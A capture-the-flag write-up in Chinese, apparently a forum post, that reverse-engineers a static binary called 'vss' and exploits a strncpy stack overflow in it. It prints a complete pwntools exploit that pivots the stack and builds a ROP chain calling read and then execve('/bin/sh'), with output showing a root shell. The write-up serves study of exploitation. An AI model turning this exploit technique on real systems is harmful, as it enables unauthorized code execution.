https://bbs.ichunqiu.com/thread-42534-1-1.html

ida打开

__int64 sub_4011B1()
{
  char v1; // [sp+0h] [bp-400h]@1

  sub_4374E0(10LL);
  sub_4089E0(off_6C4790, 0LL);
  sub_408800("VSS:Very Secure System");
  sub_408800("Password:");
  sub_437EA0(0LL, &v1, 1024LL);
  if ( (unsigned int)sub_40108E((__int64)&v1) )
    sub_408800("Logined");
  else
    sub_408800("Access Deny");
  return 0LL;
}

第一个调用,根据rax的值,sub_4374E0使用了调用号是0x25的syscall,且F5的结果该函数接收一个参数,应该是alarm

.text:00000000004374E0     sub_4374E0      proc near               ; CODE XREF: sub_4011B1+10p
.text:00000000004374E0 000                 mov     eax, 25h
.text:00000000004374E5 000                 syscall
.text:00000000004374E7 000                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:00000000004374ED 000                 jnb     loc_43C550
.text:00000000004374F3 000                 retn
.text:00000000004374F3     sub_4374E0      endp

而sub_408800这个函数,是猜测出来的,puts函数

0x437EA0函数如下,通过syscall前面的eax, 0,且接收三个参数,推测为read

.text:0000000000437EA0     sub_437EA0      proc near               ; CODE XREF: sub_40108E+F9p
.text:0000000000437EA0                                             ; sub_4011B1+51p ...
.text:0000000000437EA0 000                 cmp     cs:dword_6C7EFC, 0
.text:0000000000437EA7 000                 jnz     short sub_437EBD
.text:0000000000437EA7     sub_437EA0      endp ; sp-analysis failed
.text:0000000000437EA7
.text:0000000000437EA9
.text:0000000000437EA9     ; =============== S U B R O U T I N E =======================================
.text:0000000000437EA9
.text:0000000000437EA9
.text:0000000000437EA9     sub_437EA9      proc near               ; CODE XREF: sub_400401+88p
.text:0000000000437EA9                                             ; sub_401240+2B8p ...
.text:0000000000437EA9 000                 mov     eax, 0
.text:0000000000437EAE 000                 syscall
.text:0000000000437EB0 000                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000437EB6 000                 jnb     loc_43C550
.text:0000000000437EBC 000                 retn
.text:0000000000437EBC     sub_437EA9      endp
.text:0000000000437EBC
.text:0000000000437EBD
.text:0000000000437EBD     ; =============== S U B R O U T I N E =======================================
.text:0000000000437EBD
.text:0000000000437EBD
.text:0000000000437EBD     sub_437EBD      proc near               ; CODE XREF: sub_437EA0+7j
.text:0000000000437EBD
.text:0000000000437EBD     var_8           = qword ptr -8
.text:0000000000437EBD
.text:0000000000437EBD 000                 sub     rsp, 8
.text:0000000000437EC1 008                 call    sub_43AE30
.text:0000000000437EC6 008                 mov     [rsp+8+var_8], rax
.text:0000000000437ECA 008                 mov     eax, 0
.text:0000000000437ECF 008                 syscall

通过debug我们很容易发现被修改的EIP是通过strncpy复制到输入前面的0x50个字节的最后8个。由于没有libc,one gadget RCE使不出来,且使用了strncpy,字符串里不能有\x00,否则会被当做字符串截断从而无法复制满0x50字节制造可控溢出,这就意味着任何地址都不能被写在前0x48个字节中。在这种情况下我们就需要通过修改esp来完成漏洞利用。

最终的exp

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = process('./vss')

payload = ""
payload += p64(0x6161616161617970) 	#头两位为py,过检测                                                 原本esp的位置
payload += 'a'*64 				#padding
payload += p64(0x46f205)			#add esp, 0x58; ret  这个是return address,将esp增加了0x58
payload += 'a'*8					#padding
payload += p64(0x43ae29) 			#pop rdx; pop rsi; ret 为sys_read设置参数                            增加了0x58之后esp,从这里开始构造ROP
payload +=p64(0x8) 					#rdx = 8
payload += p64(0x6c7079) 			#rsi = 0x6c7079
payload += p64(0x401823) 			#pop rdi; ret 为sys_read设置参数
payload += p64(0x0) 				#rdi = 0
payload += p64(0x437ea9) 			#mov rax, 0; syscall 调用sys_read
payload += p64(0x46f208)			#pop rax; ret
payload += p64(59)					#rax = 0x3b
payload += p64(0x43ae29) 			#pop rdx; pop rsi; ret 为sys_execve设置参数
payload += p64(0x0) 				#rdx = 0
payload += p64(0x0) 				#rsi = 0
payload += p64(0x401823) 			#pop rdi; ret 为sys_execve设置参数
payload += p64(0x6c7079) 			#rdi = 0x6c7079
payload += p64(0x437eae) 			#syscall

print io.recv()
io.send(payload)
sleep(0.1)	#等待程序执行,防止出错

io.send('/bin/sh\x00')
io.interactive()

结果

python exp.py 
[+] Starting local process './vss': pid 14833
VSS:Very Secure System
Password:

[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)